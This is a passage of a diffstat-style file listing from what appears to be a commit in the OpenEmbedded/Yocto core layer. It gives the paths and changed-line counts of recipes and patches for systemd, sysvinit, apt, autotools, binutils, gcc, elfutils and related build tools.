-rw-r--r--meta/recipes-core/systemd/systemd/0021-test-json.c-define-M_PIl.patch29
-rw-r--r--meta/recipes-core/systemd/systemd/0022-do-not-disable-buffer-in-writing-files.patch420
-rw-r--r--meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch33
-rw-r--r--meta/recipes-core/systemd/systemd/0025-Handle-__cpu_mask-usage.patch58
-rw-r--r--meta/recipes-core/systemd/systemd/0026-Handle-missing-gshadow.patch165
-rw-r--r--meta/recipes-core/systemd/systemd/0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch42
-rw-r--r--meta/recipes-core/systemd/systemd/0029-network-enable-KeepConfiguration-when-running-on-net.patch253
-rw-r--r--meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf11
-rw-r--r--meta/recipes-core/systemd/systemd/systemd-pager.sh7
-rw-r--r--meta/recipes-core/systemd/systemd_243.bb684
-rw-r--r--meta/recipes-core/systemd/systemd_250.4.bb801
-rw-r--r--meta/recipes-core/sysvinit/sysvinit-inittab/start_getty44
-rw-r--r--meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb14
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/0001-This-fixes-an-issue-that-clang-reports-about-mutlipl.patch52
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch14
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/crypt-lib.patch33
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/install.patch48
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch68
-rwxr-xr-xmeta/recipes-core/sysvinit/sysvinit/rc16
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/rcS-default7
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/realpath.patch87
-rw-r--r--meta/recipes-core/sysvinit/sysvinit_2.88dsf.bb110
-rw-r--r--meta/recipes-core/sysvinit/sysvinit_3.01.bb117
-rw-r--r--meta/recipes-core/udev/eudev/init2
-rw-r--r--meta/recipes-core/udev/eudev/permissions.rules6
-rw-r--r--meta/recipes-core/udev/eudev_3.2.10.bb97
-rw-r--r--meta/recipes-core/udev/eudev_3.2.8.bb96
-rw-r--r--meta/recipes-core/udev/udev-extraconf_1.1.bb12
-rw-r--r--meta/recipes-core/update-rc.d/update-rc.d_0.8.bb6
-rw-r--r--meta/recipes-core/util-linux/util-linux-libuuid_2.37.4.bb16
-rw-r--r--meta/recipes-core/util-linux/util-linux.inc333
-rw-r--r--meta/recipes-core/util-linux/util-linux/0001-lsblk-force-to-print-PKNAME-for-partition.patch36
-rw-r--r--meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch27
-rw-r--r--meta/recipes-core/util-linux/util-linux/ptest.patch15
-rw-r--r--meta/recipes-core/util-linux/util-linux/run-ptest23
-rw-r--r--meta/recipes-core/util-linux/util-linux_2.34.bb13
-rw-r--r--meta/recipes-core/util-linux/util-linux_2.37.4.bb320
-rwxr-xr-xmeta/recipes-core/volatile-binds/files/mount-copybind26
-rw-r--r--meta/recipes-core/volatile-binds/files/volatile-binds.service.in1
-rw-r--r--meta/recipes-core/volatile-binds/volatile-binds.bb13
-rw-r--r--meta/recipes-core/zlib/zlib/0001-configure-Pass-LDFLAGS-to-link-tests.patch79
-rw-r--r--meta/recipes-core/zlib/zlib_1.2.11.bb5
-rw-r--r--meta/recipes-devtools/apt/apt-native.inc74
-rw-r--r--meta/recipes-devtools/apt/apt-native_1.2.31.bb7
-rw-r--r--meta/recipes-devtools/apt/apt-package.inc94
-rw-r--r--meta/recipes-devtools/apt/apt.inc39
-rw-r--r--meta/recipes-devtools/apt/apt/0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch29
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch27
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch29
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch28
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch48
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Include-array.h-for-std-array.patch35
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch120
-rw-r--r--meta/recipes-devtools/apt/apt/0001-apt-1.2.12-Fix-musl-build.patch50
-rw-r--r--meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch32
-rw-r--r--meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch37
-rw-r--r--meta/recipes-devtools/apt/apt/0001-environment.mak-musl-based-systems-can-generate-shar.patch29
-rw-r--r--meta/recipes-devtools/apt/apt/disable-configure-in-makefile.patch18
-rw-r--r--meta/recipes-devtools/apt/apt/disable-test.patch72
-rw-r--r--meta/recipes-devtools/apt/apt/fix-gcc-4.6-null-not-defined.patch14
-rw-r--r--meta/recipes-devtools/apt/apt/gcc_4.x_Revert-avoid-changing-the-global-LC_TIME-for-Release.patch80
-rw-r--r--meta/recipes-devtools/apt/apt/gcc_4.x_Revert-use-de-localed-std-put_time-instead-rolling-o.patch46
-rw-r--r--meta/recipes-devtools/apt/apt/gcc_4.x_apt-pkg-contrib-strutl.cc-Include-array-header.patch33
-rw-r--r--meta/recipes-devtools/apt/apt/makerace.patch23
-rw-r--r--meta/recipes-devtools/apt/apt/no-nls-dpkg.patch28
-rw-r--r--meta/recipes-devtools/apt/apt/noconfigure.patch37
-rw-r--r--meta/recipes-devtools/apt/apt/nodoc.patch18
-rwxr-xr-xmeta/recipes-devtools/apt/apt/triehash728
-rw-r--r--meta/recipes-devtools/apt/apt/truncate-filename.patch35
-rw-r--r--meta/recipes-devtools/apt/apt/use-host.patch15
-rw-r--r--meta/recipes-devtools/apt/apt_1.2.31.bb20
-rw-r--r--meta/recipes-devtools/apt/apt_2.4.0.bb136
-rw-r--r--meta/recipes-devtools/apt/files/apt.conf42
-rw-r--r--meta/recipes-devtools/apt/files/db_linking_hack.patch29
-rw-r--r--meta/recipes-devtools/apt/files/environment.patch15
-rw-r--r--meta/recipes-devtools/apt/files/no-curl.patch54
-rw-r--r--meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb18
-rw-r--r--meta/recipes-devtools/autoconf-archive/autoconf-archive_2022.02.11.bb17
-rw-r--r--meta/recipes-devtools/autoconf/autoconf.inc88
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch101
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch26
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch120
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch114
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch38
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch33
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch34
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/config_site.patch40
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch120
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch24
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/no-man.patch21
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/performance.patch60
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/preferbash.patch39
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/program_prefix.patch37
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch29
-rw-r--r--meta/recipes-devtools/autoconf/autoconf_2.69.bb28
-rw-r--r--meta/recipes-devtools/autoconf/autoconf_2.71.bb81
-rw-r--r--meta/recipes-devtools/automake/automake.inc4
-rw-r--r--meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch83
-rw-r--r--meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch60
-rw-r--r--meta/recipes-devtools/automake/automake/python-libdir.patch88
-rw-r--r--meta/recipes-devtools/automake/automake_1.16.1.bb44
-rw-r--r--meta/recipes-devtools/automake/automake_1.16.5.bb42
-rw-r--r--meta/recipes-devtools/binutils/binutils-2.32.inc59
-rw-r--r--meta/recipes-devtools/binutils/binutils-2.38.inc36
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-canadian.inc2
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-canadian_2.38.bb (renamed from meta/recipes-devtools/binutils/binutils-cross-canadian_2.32.bb)0
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-testsuite_2.32.bb85
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-testsuite_2.38.bb81
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross_2.38.bb (renamed from meta/recipes-devtools/binutils/binutils-cross_2.32.bb)0
-rw-r--r--meta/recipes-devtools/binutils/binutils-crosssdk_2.32.bb13
-rw-r--r--meta/recipes-devtools/binutils/binutils-crosssdk_2.38.bb13
-rw-r--r--meta/recipes-devtools/binutils/binutils.inc63
-rw-r--r--meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch47
-rw-r--r--meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch12
-rw-r--r--meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch95
-rw-r--r--meta/recipes-devtools/binutils/binutils/0003-configure-widen-the-regexp-for-SH-architectures.patch47
-rw-r--r--meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch15
-rw-r--r--meta/recipes-devtools/binutils/binutils/0005-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch38
-rw-r--r--meta/recipes-devtools/binutils/binutils/0006-Use-libtool-2.4.patch21252
-rw-r--r--meta/recipes-devtools/binutils/binutils/0006-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch32
-rw-r--r--meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch35
-rw-r--r--meta/recipes-devtools/binutils/binutils/0007-warn-for-uses-of-system-directories-when-cross-linki.patch288
-rw-r--r--meta/recipes-devtools/binutils/binutils/0008-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch37
-rw-r--r--meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch273
-rw-r--r--meta/recipes-devtools/binutils/binutils/0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch52
-rw-r--r--meta/recipes-devtools/binutils/binutils/0009-Use-libtool-2.4.patch25302
-rw-r--r--meta/recipes-devtools/binutils/binutils/0010-Change-default-emulation-for-mips64-linux.patch56
-rw-r--r--meta/recipes-devtools/binutils/binutils/0010-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch49
-rw-r--r--meta/recipes-devtools/binutils/binutils/0011-Add-support-for-Netlogic-XLP.patch393
-rw-r--r--meta/recipes-devtools/binutils/binutils/0011-sync-with-OE-libtool-changes.patch86
-rw-r--r--meta/recipes-devtools/binutils/binutils/0012-Check-for-clang-before-checking-gcc-version.patch45
-rw-r--r--meta/recipes-devtools/binutils/binutils/0012-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch36
-rw-r--r--meta/recipes-devtools/binutils/binutils/0013-Avoid-as-info-race-condition.patch75
-rw-r--r--meta/recipes-devtools/binutils/binutils/0013-Detect-64-bit-MIPS-targets.patch50
-rw-r--r--meta/recipes-devtools/binutils/binutils/0014-sync-with-OE-libtool-changes.patch89
-rw-r--r--meta/recipes-devtools/binutils/binutils/0015-binutils-enable-x86_64-pep-for-producing-EFI-binarie.patch53
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-12972.patch51
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-14250.patch33
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-14444.patch28
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-17450.patch99
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-17451.patch51
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-9071.patch165
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-9074.patch68
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-9075.patch119
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-9076.patch49
-rw-r--r--meta/recipes-devtools/binutils/binutils/CVE-2019-9077.patch37
-rw-r--r--meta/recipes-devtools/binutils/binutils_2.32.bb55
-rw-r--r--meta/recipes-devtools/binutils/binutils_2.38.bb69
-rw-r--r--meta/recipes-devtools/bison/bison/dont-depend-on-help2man.patch.patch44
-rw-r--r--meta/recipes-devtools/bison/bison_3.4.2.bb40
-rw-r--r--meta/recipes-devtools/bison/bison_3.8.2.bb54
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch2
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch68
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2_0.14.8.bb161
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb168
-rw-r--r--meta/recipes-devtools/btrfs-tools/btrfs-tools_5.16.2.bb71
-rw-r--r--meta/recipes-devtools/btrfs-tools/btrfs-tools_5.3.bb52
-rw-r--r--meta/recipes-devtools/build-compare/build-compare_git.bb31
-rw-r--r--meta/recipes-devtools/build-compare/files/Ignore-DWARF-sections.patch37
-rw-r--r--meta/recipes-devtools/cargo/cargo-cross-canadian.inc74
-rw-r--r--meta/recipes-devtools/cargo/cargo-cross-canadian_1.59.0.bb6
-rw-r--r--meta/recipes-devtools/cargo/cargo.inc56
-rw-r--r--meta/recipes-devtools/cargo/cargo_1.59.0.bb4
-rw-r--r--meta/recipes-devtools/ccache/ccache.inc28
-rw-r--r--meta/recipes-devtools/ccache/ccache_3.7.3.bb7
-rw-r--r--meta/recipes-devtools/ccache/ccache_4.6.bb26
-rw-r--r--meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb14
-rw-r--r--meta/recipes-devtools/cdrtools/cdrtools/0001-Don-t-set-uid-gid-during-install.patch27
-rw-r--r--meta/recipes-devtools/chrpath/chrpath_0.16.bb9
-rw-r--r--meta/recipes-devtools/cmake/cmake-native_3.15.3.bb52
-rw-r--r--meta/recipes-devtools/cmake/cmake-native_3.22.3.bb56
-rw-r--r--meta/recipes-devtools/cmake/cmake.inc12
-rw-r--r--meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch6
-rw-r--r--meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch122
-rw-r--r--meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch4
-rw-r--r--meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch4
-rw-r--r--meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch15
-rw-r--r--meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake3
-rw-r--r--meta/recipes-devtools/cmake/cmake_3.15.3.bb53
-rw-r--r--meta/recipes-devtools/cmake/cmake_3.22.3.bb53
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch17
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c_0.15.1.bb34
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c_0.19.0.bb40
-rw-r--r--meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb17
-rw-r--r--meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb18
-rw-r--r--meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.24.bb24
-rw-r--r--meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb25
-rw-r--r--meta/recipes-devtools/devel-config/distcc-config.bb3
-rw-r--r--meta/recipes-devtools/devel-config/nfs-export-root.bb2
-rw-r--r--meta/recipes-devtools/diffstat/diffstat_1.62.bb28
-rw-r--r--meta/recipes-devtools/diffstat/diffstat_1.64.bb27
-rw-r--r--meta/recipes-devtools/distcc/distcc_3.3.3.bb87
-rw-r--r--meta/recipes-devtools/distcc/distcc_3.4.bb88
-rw-r--r--meta/recipes-devtools/distcc/files/fix-gnome.patch122
-rw-r--r--meta/recipes-devtools/distcc/files/separatebuilddir.patch33
-rw-r--r--meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch9
-rw-r--r--meta/recipes-devtools/dmidecode/dmidecode_3.2.bb24
-rw-r--r--meta/recipes-devtools/dmidecode/dmidecode_3.3.bb24
-rw-r--r--meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch29
-rw-r--r--meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch24
-rw-r--r--meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch8
-rw-r--r--meta/recipes-devtools/dnf/dnf_4.11.1.bb90
-rw-r--r--meta/recipes-devtools/dnf/dnf_4.2.2.bb86
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch2
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb2
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb6
-rw-r--r--meta/recipes-devtools/dosfstools/dosfstools_4.1.bb25
-rw-r--r--meta/recipes-devtools/dosfstools/dosfstools_4.2.bb28
-rw-r--r--meta/recipes-devtools/dpkg/dpkg.inc63
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch39
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch56
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch2
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch26
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch14
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch18
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/noman.patch19
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch17
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/tweak-options-require-tar-1.27.patch27
-rw-r--r--meta/recipes-devtools/dpkg/dpkg_1.19.7.bb22
-rw-r--r--meta/recipes-devtools/dpkg/dpkg_1.21.2.bb23
-rw-r--r--meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb7
-rw-r--r--meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c13
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs.inc16
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-misc-create_inode.c-set-dir-s-mode-correctly.patch41
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch7
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch17
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch13
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.4.bb138
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs_1.46.5.bb140
-rw-r--r--meta/recipes-devtools/elfutils/elfutils_0.177.bb155
-rw-r--r--meta/recipes-devtools/elfutils/elfutils_0.186.bb166
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch45
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-debuginfod-fix-compilation-on-platforms-without-erro.patch54
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch12
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch8
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch2
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch32
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch26
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch28
-rw-r--r--meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch2
-rw-r--r--meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch6
-rw-r--r--meta/recipes-devtools/elfutils/files/0003-musl-utils.patch96
-rw-r--r--meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch42
-rw-r--r--meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch2
-rw-r--r--meta/recipes-devtools/elfutils/files/0007-Fix-control-path-where-we-have-str-as-uninitialized-.patch42
-rw-r--r--meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch37
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/0001-Ignore-differences-between-mips-machine-identifiers.patch34
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/0001-fix-compile-failure-with-debian-patches.patch48
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/0002-Add-support-for-mips64-abis-in-mips_retval.c.patch171
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/0003-Add-mips-n64-relocation-format-hack.patch229
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/arm_backend.diff624
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/disable_werror.patch20
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/hppa_backend.diff831
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/hurd_path.patch17
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/ignore_strmerge.diff14
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/kfreebsd_path.patch20
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/mips_backend.diff717
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/mips_cfi.patch131
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/mips_readelf_w.patch31
-rw-r--r--meta/recipes-devtools/elfutils/files/debian/testsuite-ignore-elflint.diff52
-rw-r--r--meta/recipes-devtools/elfutils/files/musl-libs.patch144
-rw-r--r--meta/recipes-devtools/elfutils/files/musl-obstack-fts.patch128
-rw-r--r--meta/recipes-devtools/elfutils/files/musl-tests.patch29
-rw-r--r--meta/recipes-devtools/elfutils/files/musl-utils.patch165
-rw-r--r--meta/recipes-devtools/elfutils/files/ptest.patch61
-rw-r--r--meta/recipes-devtools/elfutils/files/run-ptest2
-rw-r--r--meta/recipes-devtools/erofs-utils/erofs-utils/0001-fsck-main.c-add-missing-include.patch26
-rw-r--r--meta/recipes-devtools/erofs-utils/erofs-utils_1.4.bb27
-rw-r--r--meta/recipes-devtools/expect/expect/0001-fixline1-fix-line-1.patch31
-rw-r--r--meta/recipes-devtools/expect/expect/01-example-shebang.patch144
-rw-r--r--meta/recipes-devtools/expect/expect_5.45.4.bb15
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correct-ncurses-6.3-errors.patch99
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch28
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk_1.0.4.bb33
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk_1.0.8.bb36
-rw-r--r--meta/recipes-devtools/file/file/CVE-2019-18218.patch55
-rw-r--r--meta/recipes-devtools/file/file_5.37.bb50
-rw-r--r--meta/recipes-devtools/file/file_5.41.bb54
-rw-r--r--meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch32
-rw-r--r--meta/recipes-devtools/flex/flex/0001-build-AC_USE_SYSTEM_EXTENSIONS-in-configure.ac.patch32
-rw-r--r--meta/recipes-devtools/flex/flex/0002-avoid-c-comments-in-c-code-fails-with-gcc-6.patch64
-rw-r--r--meta/recipes-devtools/flex/flex/CVE-2016-6354.patch59
-rw-r--r--meta/recipes-devtools/flex/flex/check-funcs.patch67
-rw-r--r--meta/recipes-devtools/flex/flex/do_not_create_pdf_doc.patch17
-rwxr-xr-xmeta/recipes-devtools/flex/flex/run-ptest2
-rw-r--r--meta/recipes-devtools/flex/flex_2.6.0.bb73
-rw-r--r--meta/recipes-devtools/flex/flex_2.6.4.bb85
-rw-r--r--meta/recipes-devtools/gcc/gcc-11.2.inc122
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2.inc122
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0002-gcc-poison-system-directories.patch203
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch73
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0005-optional-libstdc.patch125
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0006-COLLECT_GCC_OPTIONS.patch38
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0008-fortran-cross-compile-hack.patch46
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0009-cpp-honor-sysroot.patch54
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0010-MIPS64-Default-to-N64-ABI.patch57
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0012-gcc-Fix-argument-list-too-long-error.patch40
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0013-Disable-sdt.patch113
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0018-export-CPP.patch53
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0019-Ensure-target-gcc-headers-can-be-included.patch55
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0020-gcc-4.8-won-t-build-with-disable-dependency-tracking.patch54
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0021-Don-t-search-host-directory-during-relink-if-inst_pr.patch38
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0022-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch29
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0023-aarch64-Add-support-for-musl-ldso.patch28
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0024-libcc1-fix-libcc1-s-install-path-and-rpath.patch54
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0025-handle-sysroot-support-for-nativesdk-gcc.patch213
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0026-Search-target-sysroot-gcc-version-specific-dirs-with.patch102
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0027-Fix-various-_FOR_BUILD-and-related-variables.patch137
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0028-nios2-Define-MUSL_DYNAMIC_LINKER.patch28
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0029-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch87
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0030-libgcc-Add-knob-to-use-ldbl-128-on-ppc.patch79
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0031-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch29
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0032-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch86
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0033-sync-gcc-stddef.h-with-musl.patch91
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0034-fix-segmentation-fault-in-precompiled-header-generat.patch60
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0035-Fix-for-testsuite-failure.patch258
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/0036-Re-introduce-spe-commandline-options.patch41
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-14250.patch44
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_1.patch521
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_2.patch77
-rw-r--r--meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_3.patch62
-rw-r--r--meta/recipes-devtools/gcc/gcc-common.inc12
-rw-r--r--meta/recipes-devtools/gcc/gcc-configure-common.inc30
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross-canadian.inc58
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross-canadian_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-cross-canadian_9.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross.inc128
